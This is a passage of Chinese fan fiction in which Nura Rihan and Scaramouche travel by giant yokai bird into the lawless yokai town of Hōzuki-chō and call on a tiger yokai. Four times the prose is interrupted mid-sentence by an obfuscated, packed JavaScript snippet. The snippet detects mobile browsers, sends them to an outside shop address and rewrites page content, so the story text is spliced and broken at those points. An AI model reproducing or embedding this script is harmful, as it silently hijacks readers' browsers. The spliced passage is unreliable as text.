“就算一开始没找到,很快其他鬣狗也会带着他从地洞里爬出来。” “……太危险了。”奴良鲤伴不赞同,他缓和了语气抢先说道:“并非不信任你的实力,而是我并不想看到你无谓的受伤。” 少年的视线望了过来,看着紫眸里主人不自觉的疑惑,他心中有些无由来的痛,快速地眨了一下睁着的那只眼睛,带着玩笑意味地说道:“毕竟只是一个面见的机会,还不知道会告诉你什么呢,这样就让我们卖力未免太亏了些。” “倒也是。”散兵打了个哈欠,懒洋洋说道。 “早些休息吧。”奴良鲤伴柔和了眉眼看着他。 ……为什么如此不在意己身的损失呢。 奴良鲤伴想到。 生命皆有利己的本能,避免受伤维持更好的状态,是生存的本能。到底是什么过去让他对自己这么不上心呢。 —— 事实证明,说着早些休息的人未必就能在早上醒来。 散兵注视着如人类一般窝在被褥里的大妖怪,等待了些许时间,确认对方在这种强烈的视线下,真的没有醒来的征兆时,认命的叹了口气,喃喃道:“……我真是输了。” 如此散漫,简直与安于平淡的人类无异。如此一来,到确实不适合用粗暴的方式追寻浦岛太郎。会这样想,本来就是自己的错。 红线的限制是双方,奴良鲤伴不醒他也做不了什么,便只好拿出未读完的书,继续耐下心阅读起来。 西川先生显然是个想法颇多的人,对不老的执着几乎到了令人赞叹的地步,即使是在这种神话志异上也批注了颇多的想法,很巧,昨日的两位主角都榜上有名。 于八百比丘尼,他批注道:“寿不知几何,或终有竟时。” 于浦岛太郎,他批注道:“龙女伟力,惜难一见。” 在这一卷的末尾,他总结道:“皆与龙宫有关,只叹时机难觅。” “龙女……”散兵抚摸着最后一卷的批注,这倒是之前忽略的细节,如果那个比丘尼确实是吃掉了人鱼获得了长寿的那一个,来委托这件事到也不奇怪了。 八百比丘尼是吃下了人鱼肉,而浦岛太郎则是救了乌龟后被邀请至了龙宫,既然都是海里的生物,被归于龙宫或许有些粗暴,但也不能说是凭空捏造。 “什么龙女。”奴良鲤伴揉着眼从被褥里爬了起来,他动作僵硬地看了看天色,眨了眨眼,仍是一脸没回神,“今天好早。” “你还是一如既往地懒怠。” “啊我……”奴良鲤伴打了个哈欠,“……可是妖怪啊,这不是很正常嘛。” “我记得有人昨天说要准备东西。” “没关系,等会交给首无来得及。”奴良鲤伴挪到矮桌边儿,找出一张空白的纸。“反正都是一些常见的东西,妖车的本体也是妖,当然只有晚上才会出现。” “那为什么我们不昨天出发?” 奴良鲤伴握笔悬着的手腕顿了一下,神色自若道:“啊,对妖怪来说半夜可是一天里最好的时间段,如果那个时候突然交付任务的话,就算是我也会良心不安呢。” ……所以说白天就不会良心不安吗。 首无的确担当得起奴良鲤伴对他的倚重,用过午餐后没多久,很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12982446|133263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就把东西整理好送了过来。 “真能干啊首无。” “托您又一次突发奇想的福。”首无看起来已经颇为习惯,有气无力地回答道。 “不过你这次是打算去做什么啊,这里面似乎有一些……” “唔,有一些事情要去鬼灯町一趟,放心啦我会记得给大家带伴手礼的。”奴良鲤伴轻描淡写地把东西随手塞进柜子里。 他的动作太过自然,以至于首无走出了两步,才猛然反应过来:“那种地方有什么伴手礼、不对,为什么突然要去那种地方啊鲤伴大人。” “别说的那么严重啦,不过是一些丧家之犬,不足为惧。”奴良鲤伴声音低沉,充满自信和感染力,“组里的事情这段日子就要你们多费心了。” 首无果然很好的被安抚了情绪,亦或者是出于清楚知道不可能改变眼前男人决定的无奈,他叹了口气:“起码带上……好吧好吧,我知道了。” 散兵将一切收入眼底,摩挲着书脊一言不发,昨日听过奴良鲤伴讲过他们要去的是什么地方,如今再听起来自然没有障碍,无非是这些妖怪组织也将其作为了一处流放之地,而奴良组或许就在不久前送妖进去过。 ……这倒是凭空让自己欠对方了几分。散兵闷闷地想到,但奴良鲤伴之前不提显然也是有这样的考量……算了,届时便多关照几分以作回报了。 逢魔之时将至,奴良鲤伴便喊着散兵朝着郊外走去,一如之前出来的每一次,打算休憩的人类不少都朝着这位熟悉的鲤先生问好。 “话说,”散兵想到了什么,幽幽问道,“身为备受信赖的‘首领’,你似乎离开之前什么也没安排吧?” 准确说,他们离开时或许就没有其他妖怪知道。 奴良鲤伴听着他重音落在的位置,唇线上扬扯出了一个充满阳光意味的笑,“诶呀……你是说中午吗,如果我不那么说首无怎么可能这么轻易放过我们啊。” “反正他们也习惯了。”他毫无心理负担地补了一句,“反正老爹也还在啦。” 33.还没启程 散兵盯着那张没有半分愧疚的笑脸,在心底为其更新了印象。回过头想想,明明是妖怪首领,却跟着可疑的人追了那么远,本来也不是什么靠得住的家伙吧? 来不及为奴良鲤伴的下属施以怜悯,奴良鲤伴便熟门熟路地拉着他,寻了个看起来和其他地方并无二致的地方跃了过去,轻盈落地后明显加快了速度。 “今天看起来人很多啊,要是人满了,那家伙就要提前离开了。” 大妖怪的最大优点或许就是乐于交流,不会闷着头让身后的人一头雾水——或许首无他们有不同的想法。 行走间确实比之前来往时多了些身影,看来这种为妖怪特设的旅行方式还是颇受欢迎的。 散兵挑了挑眉,“怎么,你们这里被驱逐的妖怪们每天都这么多?” “哈哈如果真是这样,那这样的话规则也太严苛了吧。”奴良鲤伴设想了一番那样的情景——纪乃黑着脸押送着一群灰头丧气的妖怪前行,像绑缚螃蟹一般用黑发将他们牢牢捆着——忍不住大笑了起来,“虽然这里的混蛋挺多,但也没到那种地步呢。这条线路的尽头是长崎,多拐一段路送我们到鬼灯町才是特殊服务。” 他伸手拍了拍背着的包袱,飞快而轻佻地眨了下眼,“这可是额外的价格。” 他笑得像在推销自己,但显然他所期望的买主并无兴趣。散兵勾了勾唇,慢条斯理地凉凉道:“喔?那你也是‘挺多’的其中之一吗。” 心怀不轨的奴良鲤伴弯了弯眼眸,将心迹隐藏在言语之下,“谁知道呢。” 他用轻快的声音打断了散兵可能发现端倪的思绪,“这样说也不对,我们现在可是要去鬼灯町呢,论混蛋我们都是顶级的吧。” 果然,少年撇了撇嘴,“这种事情别带上我。” 两人如此行进,又过了不少时间,映入眼帘的是一片把欲盖弥彰写满了每一片叶子的树林。这些树木高耸入云,枝繁叶茂,像一道拒绝窥视的屏风。 “哈?不是在开玩笑吧,周围都是平地,这种伪装……到底谁想出来的。” 奴良鲤伴也是一副无奈的样子,伸手挠了挠头,“这种事情嘛……起码很好找。会找妖车的妖怪也不止江户城的那些,让那些乡下妖怪注意伪装,还是太为难了。不如把里面的东西都遮得严严实实的。” 奴良鲤伴叹了口气,突然有些沧桑,为了增强说服力,他举例道:“西川宅的那只兔子你也见到了,这已经是不错的程度了。” “……头脑简单的生物想要生活幸福最简单的方式,就是老老实实地享受生活,很遗憾知道了解这一点的不是太多。” 散兵会想起那只兔子,短暂的沉默了片刻幽幽冷嘲道。 “呵呵,这倒也不能全怪他们。”奴良鲤伴笑了笑,“异类的生活本来就艰难,人类的社会对妖怪来说发展得太快了。作为同类当然是能帮一把手就帮一把啦。” 猜到了散兵想要嘲讽些什么,他弯了弯眼眸,话语中有几分狡黠,“当然也不全是这种光明正直的原因了,放任他们的话,生出了事端,最后麻烦的还是奴良组。” 散兵侧过眼眸,虽然真相一目了然,但这种坦诚还是难得,这种身边人不带着面具的情况反而让他不适。 他们一头扎进林子里,明明是高林覆盖,光线却要更明亮些。柔软的月光似乎在此处显得要更强势几分,顺着近乎璀璨的光望过去,为什么宁愿欲盖弥彰也要催生这一片树木的原因也出现在眼前了。 体型庞大的鸟儿如玉雕的孔雀,体型分外庞大,外形却不显得潦草,那每一根羽毛都是如此纤细,在月光下它显得莹润美丽,银纱覆盖在它的身上像是散发着一圈神圣的光晕,那流光溢彩的光芒硬生生为这篇树林提升几分亮度。 奴良鲤伴凑近少许——但还是不曾像之前近乎贴脸的距离——带着几分得意洋洋地炫耀道:“怎么样,很美丽吧。” “幼稚。”散兵抿了抿唇,眼前的鸟儿确实不似活物,不,这样精致的外表,或者连手工最精湛的匠人也无法复刻吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“诶呀……”奴良鲤伴第一次觉得舌头打结,但这种时候他不想扯些什么谎话。 金眸在眼眶里打转,视线游移,想要找些什么来掩饰心迹,但所幸天意似乎也站在他这边,他张了张口,正打算说出口之际—— 34.启程 “——砰!” 伴随着一阵劲风,白影一晃,泥土飞溅,地面上便多了个深坑。 “……真是愚蠢。”散兵被突如其来的袭击吸引了注意力,随即无形之风化为一道屏障,严严实实地挡住了飞溅的泥土。 “诶呀,被当面砸场子了呢。”奴良鲤伴心中松了一口气,语气分外轻松地说道。 “听起来你很高兴?” 这里的江户近郊,还有刚刚的话语,不难猜出这里背后的支持者是谁。但被挑衅的组织领袖反而开心?散兵不能理解这种奇怪的思维。 “只是很久没见过这样的戏码了而已。”奴良鲤伴如释重负地眯起眼睛,带着笑意悠悠道,“美丽是最昂贵的奢侈品,行动前应该想想为什么它的羽毛收购价格那么高的。” 巨鸟约摸是听到了奴良鲤伴的声音,它发出了一声“咕——”的一声,重新吸引了在场人的注意力。只见它高高地仰起修长的脖颈,那自不量力的掠夺者便被形状可见吞咽了下去。 “咕——咕咕” 它张开拢在身侧的双翼,无数细雪一样的荧光被洒下,顿时森林中一片流光溢彩,如梦似幻,恍然仙境。巨鸟矜持地迈向了他们,体态优雅,长长的尾羽拖在地上,如同王后的裙摆一般。 纵使见过很多生物,但是这种瑰丽的景象还是令他不由得稍稍睁大了眼眸,没有抗拒奴良鲤伴的牵引,跟随着他进入了吊篮,他回望着巨鸟曾呆过的草地,上面仍然残留着一层淡淡的月光。 “嘿。”奴良鲤伴扯了扯他的袖子,两人弯下腰嘀嘀咕咕,“这份美丽不是没代价的。” 散兵几乎已经要习惯了他偶尔的幼稚举动,配合地作出疑惑的样子,“喔?” “其实是假的啦假的。都是水晶宝石什么装饰的,羽粉也是,那可是限量……”一股冷冽的难以忽视的视线袭来,奴良鲤伴轻咳了一声,“总之就是这样了!” 以他们之间的距离和鸟瞳的大小,想要不被波及简直是痴人说梦。于是散兵伸出手挑起罪魁祸首垂在肩膀上的黑发,眼眸里闪动着充满恶意的光,“呵……既然这么了解,我是否可以理解为你也曾考虑过一样的行径?” 大妖怪眨了眨眼稍稍侧过头嘀咕道:“真是犯规……” 看着映照着自己身影的眼眸稍稍眯起,奴良鲤伴坦然地承认道:“谁都有这样的时候吧,一把刀斩出一道流光什么的,凭借着刀术要何年何月啊。” 当然这对他来说也没花太久。 他太过坦然倒是让自以为抓住了什么的散兵兴致缺缺了,冷哼了一声嫌弃道:“你的脑子里都是这些东西吗。” “当然还有别的了。不过外表可是很有用的……你想知道吗?” 这次换散兵忍不住侧开眼眸了,大妖怪似笑非笑的眼眸深处潜藏着什么他并无兴趣,一些疑问不去期待也不去深究,这就是最合适现在的状态了。当然,这并不代表着他就会示弱了。 于是他的唇角上扬,幽幽地嘲道:“听起来,它一定已经让你如愿以偿。” 奴良鲤伴并非不知足的人,他笑了一下,“承你吉言。” —— 呼啸的风声响彻耳际,手腕上的红线牵扯着他向下,散兵非但没有抗拒,反而加速朝着地面猛地冲去。终于,在与尖锐的树枝亲密接触前,他将好抓住了奴良鲤伴的肩膀。 “多谢啦。” 勉强压抑的怒意本就直冲理智,如此轻巧的话语自然加倍引爆,散兵勾了勾唇角,毫不留情地讥诮道:“怎么,如果高贵的江户百鬼夜行之主想不开了,我倒是可以助他一臂之力。” 刚刚的慌张也不过一瞬间是那一瞬间太过紧急而已,谁能想到妖车的“付费服务”如此的“自助”,又或者多亏了奴良鲤伴的口舌之快? 忽然被掀飞这种事情完全在意料之外,他刚一在空中站稳,手腕一阵疼痛,顺着望过去就看到奴良鲤伴的身躯直线下落。 而当着沉甸甸的重量入手,一切也就反应过来了——受奴良组庇护的妖车既然这样做,要么是往常一贯如此,要么是相信他能够处理。不论是哪个都不需要他多管闲事。 都怪奴良鲤伴一副毫无准备的可恨样子,都是这番作态迷惑了自己。 奴良鲤伴温和了声音,在散兵看不到的地方眉眼弯弯,“没有喔,我很高兴能被你借助。我自己来动静就太大了,这对这里的树木也太不公平啦。” 他感受到身后的人情绪又平息的迹象,又状似无奈地抱怨道:“诶呀,没想到这家伙竟然公报私仇,我不过是说出了实话……本就漂亮的羽毛又被打扮得花里胡哨的,被不识货的家伙当成宝物收购也不奇怪吧。” “哈哈从某些方面来说,这种事情说出去了也算是帮它减少觊觎的人了吧。” “……你就是这么啰嗦,才会被丢下来。” “呵呵,这不是还有你在,你还是会接住我的吧。” “别自作多情了。” 在奴良鲤伴的指引下,两人穿过层叠而厚重的林顶,落在了一片草地上。 此时天色已经完全黑下来了,高大茂密的树木遮蔽了天空,月光只有可怜的几丝几缕能够艰难地钻进来,然后湮灭在这黑暗中,地面和树干上有一些不知道品种的菌类散发着绿油油的荧光,起一些心理上的作用。 “我要开始怀疑你是不是刻意挑选这个时刻了。”散兵奴良鲤伴身边,尚且还能看到他的身影,但倘若走开几步,就会变得艰难,如果没有这根在此时不那么碍眼的红线,恐怕他就得时时刻刻劳心对方的位置了。 但是话又说回来了,如果没有红线,他为什么还跟在奴良鲤伴这个麻烦的家伙身边? “虽然很想说是,但是这种情况也容不得我任性。”奴良鲤伴耸了耸肩,却提高了戒备,他在地面上搜寻着,“妖怪在夜间活跃,如果白天赶赴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047347|133263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这边也太显眼了……他们是被困在里面了没错,可这并不代表他们就有对外界一无所知了。在门口就被埋伏可是会开启糟糕的一天的。” “毕竟忠诚是很好的品质,出现在敌人身上就显得头疼了。” “不过是跟随着过去的主人的价值更合算而已。” “从某种角度来说倒也没错,情感的寄托也是价值的一种……找到了。”奴良鲤伴蹲了下来,伸出手划破指尖,一滴血滴在了一朵纯白的蘑菇上,刹那间光满绽放,幽蓝色的光点燃了它的身影,紧接着如指引一般以此处为起点,朝着远方铺开的同色指引。 散兵眯起眼眸,习惯了黑暗在短时间内接受如此淡薄的光亮也觉得不适,“……怎么你们妖怪也花里胡哨的。” “呵呵。”奴良鲤伴愉快地眨了一下眼,带着几分窃取成功的狡黠,“这可是阴阳师们留下的,感谢我体内一半的人类血脉,前人遗留换我们享受一番了。” 作为滑头鬼的奴良鲤伴自然不需要这些,他所做的目的显而易见,散兵稍稍侧过头承情道:“谢了。但我还是要说,这不过是多此一举……也没多远了吧。” “毕竟我不想看你被黑暗束缚嘛。”奴良鲤伴笑起来,明明是黑夜,金眸却给人太阳般明亮温暖的感觉,“这片森林还是很美丽的,这可是难得的机会,如果只有我一个人欣赏的到,未免也太寂寞了吧。” “你总是这么擅长花言巧语吗。”散兵并不搭这个听起来有些危险的话茬,故作漫不经心的问道。 他侧眸看向周围,不想去看那明亮到灼眼的颜色,这种颜色并不适合他。不过正如奴良鲤伴所说,这里的植物彼此争夺养分,狂野的生长,有着与外界温顺植物不同的样貌,简直就像是……不,这就是不加掩饰地赤裸生存欲望的实体化。 因此,与植物们旺盛的生命力比起来就像是萤火之光的弱小生命,也就分外显眼了。 更别提窥视者拙劣的隐匿技巧和站在眼前并无差别了。 散兵唇角冷漠地扬起,手腕将抬,比他更快的却是一道刀光—— “唉……不合时宜的忠诚。”奴良鲤伴收刀入鞘,遗憾地叹息道。 “怎么,突然下得去手了?我还以为你要阻拦我。” 奴良鲤伴没去看溅起的血液和将会成为养料的尸首,侧头看向少年,罕见的脸上并无笑意,“这片林子已经被严格律清过了,所以……”会出现这里的都是敌人。 即使误伤也是自作自受,因为这就是“规则”。 “要小心在这里除我之外的任何人。” “你在担心什么啊。”散兵因奴良鲤伴罕见露出的冷意而产生的怔愣转瞬即逝,反倒是这种被叮嘱照顾的感觉在心底泛起某些异样情绪。 他以玩味笑意掩盖眸底情绪,半是嘲讽半是警告,“我早就说过了吧,我可不是什么好人,反倒是你才对,可别被突如其来的心软害了。” 35.鬼灯町 四周是一片漆黑的沉寂,只有偶尔的风声穿过枝叶,两人相伴而行,踏着柔软的苔藓,置身于高大古老的树木层层掩掩中,明明是在野外,却又有一种置身于木质墙壁的隔间——其中还铺着价值不菲的地毯——的错觉。 但这种黑暗中的宁静并不令人觉得恐惧,地面上引路的幽蓝色菌类散发着神秘而柔和的光芒。只靠这种微弱的灯火如果还不够的话,即使不愿意承认,剩下的理由也只有此刻并非自己一人了吧。 也许是因为同伴的鲜血,也许是因为此处少有妖怪出没,这一路上没在察觉到什么窥视,在令人安心的近乎闲适的宁静中,散发着幽蓝色荧光灯菌类先一步停下了脚步。 “就是这儿了。” 奴良鲤伴扫了一眼,就确定道。 “看起来没什么不一样嘛。”散兵瞥了一眼,目标毫无疑问,那些蘑菇几乎把他们带到了家门口,最后一株就停在鬼灯一叶之遥的地方。 或者说,不需要它们这样服务周到,也很难错过它。 那株到人大腿高的植物挂着的果子散发着非同一般的红润光芒,明明不甚明亮,却把身下散发着幽蓝光芒的菌类压了下去,而苍白的叶骨像是肋骨一样护着它,在一片绿意中分外显眼。 散兵躬下身子,仔细观察着那中间的浆果,“看起来和那个女人送过来的很像。” “就是同一种。”奴良鲤伴从包袱里把其中一枚递了过来,“不过是特殊处理过后的……味道会比较独特。” 他的声音有些古怪,散兵并未多在意,在这种地方浪费时间并无意义,结果后直接塞入嘴中,他本以为这处理指的要么是浸泡过药材,或者直接一些的糖渍过之类的。 但当牙齿刚刚嵌入薄薄的果皮,他就意识到了自己的错误—— 如铁锈一般的干涩封住了他的喉咙,攻击性分外猛烈的酸意如荆棘一般自舌根向上蔓延,他尽力让自己的五官不至于太过扭曲,但从大妖怪担忧的目光来看似乎收效甚微。 散兵难以抑制地弯下腰,视线渐渐被涌上眼眶的泪意模糊,在他反射性地干呕时不知道何时站到他身后的大妖怪牢牢地捂住了他的嘴。 “忍忍,忍忍。”大妖怪的另一只手环住他的腰将他拥在怀里,声音分外温柔地哄道。 散兵缓和了一会儿,伸手推开他,声音干涩,“你这家伙,是故意的吧。” 奴良鲤伴被那双因含泪而分外动人的眼眸注视着,只觉得一阵心软,少年颜色本就颇好,平日里又要强得厉害,如此一来这泫然若泣的姿态便更多几分艳丽,但他还不至于如此,“我也只是看过相关记载而已,没想到这么强烈……唔,你看看,现在应该看得到路了。” 散兵自然也知道奴良鲤伴并非如此恶劣之徒,便冷哼一声转头看向了鬼灯所在:原本大腿高的植物,此时足足有半人高,原本只是浅浅散发着光芒的浆果,此时在他的视野里已产生了某种畸变,在苍白脉络的骨架中如同真正的心脏一般缓慢而有节奏地跳动着,带动着那不详而诡异的光芒也一舒一缓的悦动着。 在这种波动之间,似乎有什么不一样了——散兵跟随着直觉望过去,只觉得那不详的光芒似乎化成了一枚枚小灯笼,将人引领向漆黑的森林之中。 散兵眸底划过一丝古怪的暗芒,这种即视感太熟悉了,“这不会是……” “……没错那些阴阳师们参考的就是鬼灯的引路。”奴良鲤伴的声音听起来闷闷的,但他并不给散兵发问的时间,率先开路,同时介绍道,“这些‘灯笼’都是被隐匿起来的鬼灯,只有那一株是特殊的,在达到‘同频’之后才能看到这些。” “直接吃下去,就是最简单粗暴,也不设任何门槛的方法。” “确实简单粗暴。”散兵回答道,精神不免警惕上升了一个层级——并非他不警惕,而是自从踏进这条鬼灯引路之后,他只觉得背脊一凉,明明感知里并无其他人存在,但是偏偏能感觉到一股股的视线。他并非是那些视线的目标,就像是一株路上的花草被偶然收入眼底一样地扫过,不强但是却难以忽略。 “我们现在处于交叠地带,看不见他们,但是已经能察觉到一部分。”奴良鲤伴的声音也显得凝重,想必他也察觉到了,“进去之后,我们先去找与奴良组有旧的人。” 他顿了顿说道,“但是在这种地方,还有几分能信度也说不定,即使是当面就发动攻击也实属正常,到时候下手时不必在意他和奴良组的关系。” 散兵低笑了一声,空气中渐渐能闻得到血腥气,不知何处——或许是来自各处——的恶意汇聚在天空,挑动着他的神经,大概是预感从来到这地方以来,积攒了这么久的郁气将要得到发泄的机会,血液也难免因此变得沸腾起来。 比起考虑那些莫名其妙的东西,这样纯粹的恶意简直让人怀念,他实在是再擅长不过了。 “呵。唯有这一点,你不必为我担忧。” 奴良鲤伴隐隐担忧地看了他一眼,“一些妖鬼最擅长借心灵裂缝趁虚而入……” “放心,我不是那种只有四肢发达的家伙。” 空气中的血腥气渐浓,欲望的气息逐渐浓厚,畅快的大笑逐渐被收入耳畔,鬼灯的光芒逐渐暗淡,他们出现在一个黑暗的小巷子尽头。 散兵回望过去,身后已然是一道坚实的墙壁,侧头看向一边的大妖怪,只见对方也是一脸的饶有兴味。 感受到少年疑问的目光,奴良鲤伴解释道:“据闻鬼灯町的入口是相对随机的,会出现在附近生物最少的地方。所以说,虽然不一定会出现在什么地方,但是大体上也有一定的操纵空间。外来者想要进来的话,就要尽力不被捕捉到踪迹。” 奴良鲤伴说话间,气息也在不断改变,属于大妖怪的气息毫无保留地释放出来,头发如同初见时候一样,炸毛一般地蓬起,声音低沉:“走吧,希望以前留下的地图还有效果。” 散兵因这变化挑了挑眉,“是头发的影响吗,我总觉得你的身材好像也有所变化。” “想知道吗。”大妖怪弯了弯眸笑道,“这是秘密喔。” 或许是因为微妙的声音变化,奴良鲤伴比平时略显得低沉的笑声在散兵的心底泛起了几分涟漪,他压下在这不合时宜的时间探究的冲动,“我倒是不知道你什么时候看的地图。”这两天奴良鲤伴都在和他一起翻阅西川的书籍才对。 走出巷子前,两人手上相连的红线便被奴良鲤伴隐匿了起来,外面的街道乍一看比江户还有富丽堂皇些:两旁的房屋皆用红漆漆的透彻,几乎每一户都挂着精美的灯笼,在朦胧的天色下散发着诡异又神秘的光。而街上来来往往行走的“市民”却是形态各异,大小不同,他们穿梭在街道上,往来间倒的确与人世相差不大。 ——如果忽视身边的木柱上就能隐隐辨别出的,不同于漆色的锈红、忽视街边小摊食客碗里飘着的某种鼠类的头颅,以及忽视在道路两旁叫卖着的“奇珍异宝”是一对瑟瑟发抖的人类母子的话。 奴良鲤伴扫过那对瑟瑟发抖的母子,冷静到冰冷的说道:“是小时候看过的……啊,看来还是已经过时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081526|133263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了啊。” “走吧,看来大概率要靠我们自己了。” 根据奴良组的情报这里应该更为原始才对,但是那些装饰风格……是近几年才时兴的。奴良鲤伴不想承认,但是并不畏惧承认,活跃在人世间的阴阳师或者是妖怪,其中恐怕已经有人和这个地方的大妖怪有所勾结了。 如此一来……那些人类真的是一开始没有撤走而遇难的人类么? 之前送回奴良组的情报,恐怕能信任的部分也有限了,如今只能希望起码住址是正确的。 和一看就是强大妖怪的奴良鲤伴不同,散兵几乎与人类无异、只是更显得优越的外表,和举手投足间的矜贵风姿在本地住民看来简直就是……精致的食物。 他们几乎嗅得到那香甜的气息,想象得到那紧致柔软的口感,品尝得到那滋润浓郁的鲜血…… 紧紧盯着那个人类,口水抑制不住地从嘴角流出,他几乎已经考虑好了要如何用牙齿撕扯那纤细的肢体,还是再养养好呢,不,这种美味,留得越久恐怕就是那些大人也会来掠夺吧—— 他的思绪戛然而止。 “恶,头脑再简单也该有点限度吧。”散兵嫌恶的看了一眼那具被风刃切割到看不出原形的妖怪尸体,伸手压了压斗笠,“既然如此还是早点去死好了。” 他饱含恶意的目光着重扫过某几个位置,警告之意溢于言表。 奴良鲤伴见那些妖怪老实了起来,也收回了注意力。尽管他对那种充满恶意的窥视也想要清理一空,但如果不彰显自己的力量,少年也只会被视为自己的附庸而已,这绝非少年的高傲所能容忍的。 见事情解决,他勾了勾嘴角调笑道:“诶呀,这就是太像人类的坏处啊,在这种地方总是显得气势不足呢。” “有眼无珠的蠢货而已。”散兵嗤笑道,或许曾经有意掩饰与人类的不同,如今这些已并非执念,不管是人类还是妖怪,自己都并非两者中的任意一方,异类中的异类,他已经接受了这样的处境——也没什么不好的。 况且就算是人类,能在这里独自行走本来也就说明了什么。 既然如此没有危机意识,在这种地方丧命也是早晚的事情,自己不过帮他们早日解脱而已。 “毕竟在这样的地方,要求他们一边疯狂地提升实力,还要兼顾其他实在太难啦。” 奴良鲤伴显然也并不喜欢这样的地方,说话难得的刻薄起来。 散兵惊讶地挑了挑眉,“真难得,没想到有一天还能从你嘴里听到这样的话。” “……也别把我想得那么好啊。”奴良鲤伴故作困扰,“不然有一天被控诉形象破灭,我可是会很难过的。” “喔?”散兵轻笑了一声,慵懒地说道,“那你可得抓紧时间了,希望在一切结束前看到你难过的表情。” “别期待这种事情啊。”奴良鲤伴叹息道,少年的确终会离开,或许有些事情,还是没必要说出来给对方添加负担吧。 他忽略那一抹淡淡的失落和不甘,提起笑意将注意力放在正事上,看向了对侧的街道,意味深长地道,“接下来就是开奖的时刻了。” “到了。”散兵与其说是疑问,不如说是确定道,“这种显而易见的答案,有脑子的人都不会相信他的忠诚吧。” “呵呵,总是要先报以一些希望。” “这算是你的仁慈吗。” “谁知道呢。”奴良鲤伴笑意不及眼底,他的屈指抵在门扉上,确定自己的气息传达了出去,而里面有所动静,才轻轻敲了敲门。 36.住所 奴良鲤伴趁此时打量了一番这栋屋子,看起来还不错,起码外表上很整洁,证明了主人大概是个十分在意用餐礼仪的家伙。他眼眸一动,后侧缩在柱子后的小妖怪恐惧的神情便被收入眼中。 或许是察觉到被发现了,那小妖怪身形一矮,随即从感知中消失了。 没过太久,紧闭的门缓缓打开,里面的人动作十分谨慎,先是开了一条门缝,约莫是仔细打量了一番,才最终敞开了大门。 门一打开,屋子里的光线便随之倾泻出来了,正入眼帘的是一只硕大的虎头,他像这里的其他妖鬼一样,并没有半分掩饰自己身份的想法,大大咧咧地展示着自己的族属,彰显着自己的力量。 那双硕大的虎目仔仔细细地盯着奴良鲤伴的脸——老实说,想要从这方面辨别他的身份并不困难——倏地睁大了,兴奋十足地道:“您就是二代目大人吧!真没想到能有一日在这里见到您……!” 激动之余他像是才想到什么,警告的目光扫视过了门口,方才恭敬道:“请您先进来吧,这里不是说话的地方。” 奴良鲤伴自然没有拒绝,走在前面和虎妖娴熟地打着辞令,散兵跟在他的后面,路过那个开门的小妖时,突然侧过脸注视着他,唇角勾起—— 在小妖肉眼可见的颤抖中,散兵发出了一声嗤笑,他扫视过门口看起来空荡的街道,抬步跟上了前方的两人。 这栋宅邸的内部装饰得也颇为讲究,空间十分宽敞,几乎到处都点着蜡烛,让室内明亮得不像是妖鬼所居之地。 虎妖将他们引入了一间和室,空气中弥漫着不知道是什么植物的香气,淡淡的,并不引人厌恶。既然连熏香都有,这样讲究的情况下,墙壁上挂有几幅山水花鸟画,墙角桌子的花瓶里插着仿佛还挂着露水的鲜花,似乎也不是什么过分的事情了。 他们在房间中央的矮桌前落座,虎妖挤在对他的体型来说有些可怜的坐垫上热络地开口:“老夫虎影丸,不知道这位是……?” 他探究的目光看向了散兵,后者毫不示弱的似笑非笑回视过去。 见散兵没有开口的打算,奴良鲤伴笑了笑,也并未多做介绍,只说道:“这是我的朋友,不放心我一个人前来,故而随行而已。” 散兵见他隐去了自己的名字——即使这个名字一点也不重要,也必然会被自己舍弃——感受到了其中的回护之意,他多少也习惯了大妖怪与浪荡外表不符的细腻内心,但还是不免觉得心中熨帖。 不过这也是察觉到了吧。散兵好整以暇地盯着和奴良鲤伴往来的虎影丸,不同于和自己一样的出于为恶者的共鸣,奴良鲤伴一定还抓住了眼前的这个家伙在别的地方露出的马脚。 且一定是切切实实的破绽。毕竟要说疏漏的话,那简直是太多了,最简单的便是:都在这种地方了,还能拥有这样媲美外界的宅邸吗? “……原来是这样啊,您是为了找人前来的吗。”虎影丸搓了搓手,这动作配上他那魁梧的身材,流露出几分反差的憨厚来。 “是啊。”奴良鲤伴闭着一只眼,松垮散漫的屈腿坐着,漫不经心地抱怨道,“老爹也是莫名其妙啦,看了书就要找什么浦岛太郎,也不知道是谁给的消息,人类怎么可能来这种地方。” 虎影丸打量着他的神色,迎合奉承道:“总大将也是的,让您来这种地方受苦。” 